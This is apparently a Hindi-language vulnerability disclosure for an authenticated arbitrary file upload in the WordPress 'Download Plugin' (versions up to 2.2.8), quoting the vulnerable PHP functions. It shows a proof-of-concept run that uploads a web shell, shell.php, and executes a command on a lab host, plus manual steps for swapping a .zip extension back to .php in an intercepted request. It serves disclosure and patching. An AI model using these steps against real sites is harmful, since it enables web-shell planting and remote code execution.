
Download Plugin <= 2.2.8 - प्रमाणित (व्यवस्थापक+) मनमाना फ़ाइल अपलोड
Download Plugin mul_upload एडमिन पेज के माध्यम से उजागर dpwap_plugin_locInstall फ़ंक्शन के फ़ाइल प्रकारों को सैनिटाइज़ नहीं करता है, जिससे व्यवस्थापक या उच्च स्तर के उपयोगकर्ता मनमानी फ़ाइलें अपलोड कर सकते हैं और संभावित रूप से सर्वर पर कोड निष्पादन प्राप्त कर सकते हैं।
एक POC cve-2025-6586.py प्रदान किया गया है जो एक व्यवस्थापक द्वारा shell.php नामक वेब शेल अपलोड करने का प्रदर्शन करता है।
python3 cve-2025-6586.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Web Shell Location: https://lab1.hacker/wp-
content/uploads/dpwap_logs/files/tmp/shell.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
v alid_lft 75221sec preferred_lft 75221sec
inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic
mngtmpaddr noprefixroute
valid_lft 86354sec preferred_lft 14354sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
link/ether 02:42:77:47:94:a5 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
dpwap_plugin_multiple_upload_func फ़ंक्शन mul_upload एडमिन पेज पर उजागर होता है। /wp-content/plugins/download-plugin/app/Plugins/Base.php की पंक्ति 80 पर यह फ़ंक्शन multiple_upload_plugin.php को शामिल करता है।
// multiple upload function
public function dpwap_plugin_multiple_upload_func()
{
$dpwapObj = new Dpwapuploader();
$plugin_multiple_upload_file = DPWAP_DIR . DS . 'app' . DS .
'Plugins' . DS . 'templates' . DS . 'multiple_upload_plugin.php';
include_once $plugin_multiple_upload_file;
}
डिफ़ॉल्ट रूप से $plugin_multiple_upload_file का पूर्ण पथ /wp-content/plugins/download-plugin/app/Plugins/templates/multiple_upload_plugin.php होना चाहिए। टेम्पलेट $_POST['dpwap_locInstall'] और $_FILES['dpwap_locFiles']['name'][0] की भी जाँच करेगा। यदि ये मौजूद हैं, तो यह पंक्ति 47 पर HTML फ़ॉर्म बनाने वाले कोड के भीतर $dpwapObj->dpwap_plugin_locInstall(); को कॉल करेगा।
...
...
<div class="inside">
<?php
if (isset($_POST['dpwap_locInstall']) && $_FILES['dpwap_locFiles']['name'][0] != ""){
echo '<form id="form_alldpwap" name="form_alldpwap" method="post" action="admin.php?page=activate-status">';
echo "<div class='dpwap_main'>";
$dpwapObj->dpwap_plugin_locInstall();
echo "</div>";
echo '<input class="button button-primary dpwap_allactive"
type="submit" name="dpwap_locInstall" onclick="activateAllPLugins()"
value="'. esc_attr__('Activate all', 'download-plugin').'">';
echo '</form>';
}
?>
</div>
...
...
जैसा कि नीचे देखा गया है, /wp-content/plugins/download-plugin/app/Plugins/Dpwapuploader.php में पंक्ति 300 पर स्थित dpwap_plugin_locInstall फ़ंक्शन अपलोड की गई फ़ाइलों को मूल फ़ाइल नाम और एक्सटेंशन रखते हुए एक वेब-सुलभ निर्देशिका में स्थानांतरित करेगा। उदा.: https://TARGETSITEDOMAIN/wp-content/uploads/dpwap_logs/files/tmp/shell.php
public function dpwap_plugin_locInstall(){
// Increase the resources
@ini_set( 'memory_limit', '1024M' );
@ini_set( 'upload_max_filesize', '640M' );
@ini_set( 'post_max_size', '640M' );
check_admin_referer( $this->key );
echo '<div class="dpwap_h3">'.esc_html__( 'Installing Plugins',
'download-plugin' ) .':</div>';
for ( $i = 0; $i < count( $_FILES['dpwap_locFiles']['name'] ); $i++
) {
$dpwap_locFilenm = sanitize_file_name($_FILES['dpwap_locFiles']
['name'][$i]);
if ( strpos( $dpwap_locFilenm, 'mpipluginsbackup' ) === false )
{
//Get the temp file path
$tmpFilePath = $_FILES['dpwap_locFiles']['tmp_name'][$i];
//Make sure we have a filepath
if ( $tmpFilePath != "" ) {
//Setup our new file path
$newFilePath =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/' . $dpwap_locFilenm;
//Upload the file into the temp dir
if( @move_uploaded_file( $tmpFilePath, $newFilePath ) )
{
$dpwap_tempurls[] =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/'.$dpwap_locFilenm;
}
}
}
else{
echo esc_html__('This is', 'download-plugin') .'
<b>'.esc_html($dpwap_locFilenm).'</b> '.esc_html__( 'not a valid zip
archive.', 'download-plugin' );
}
}
if( $dpwap_tempurls )
$this->dpwap_get_packages( $dpwap_tempurls, "activate", "nocreate",
"upload_locFiles" );
}
Plugins -> Add Plugin पर जाएँ।Upload Multiple Plugins पर क्लिक करें, यह बटन Download Plugin द्वारा UI में जोड़ा गया है।

/wp-admin/admin.php?page=mul_upload से, BurpSuite या समान प्रॉक्सी शुरू करें।

php फ़ाइल लें, और फ्रंट एंड सत्यापन पास करने के लिए उसका एक्सटेंशन zip से बदलें, फिर Install Now पर क्लिक करें।

php में बदलने के लिए इंटरसेप्ट किए गए अनुरोध को तुरंत या Repeater टैब में संशोधित करें।

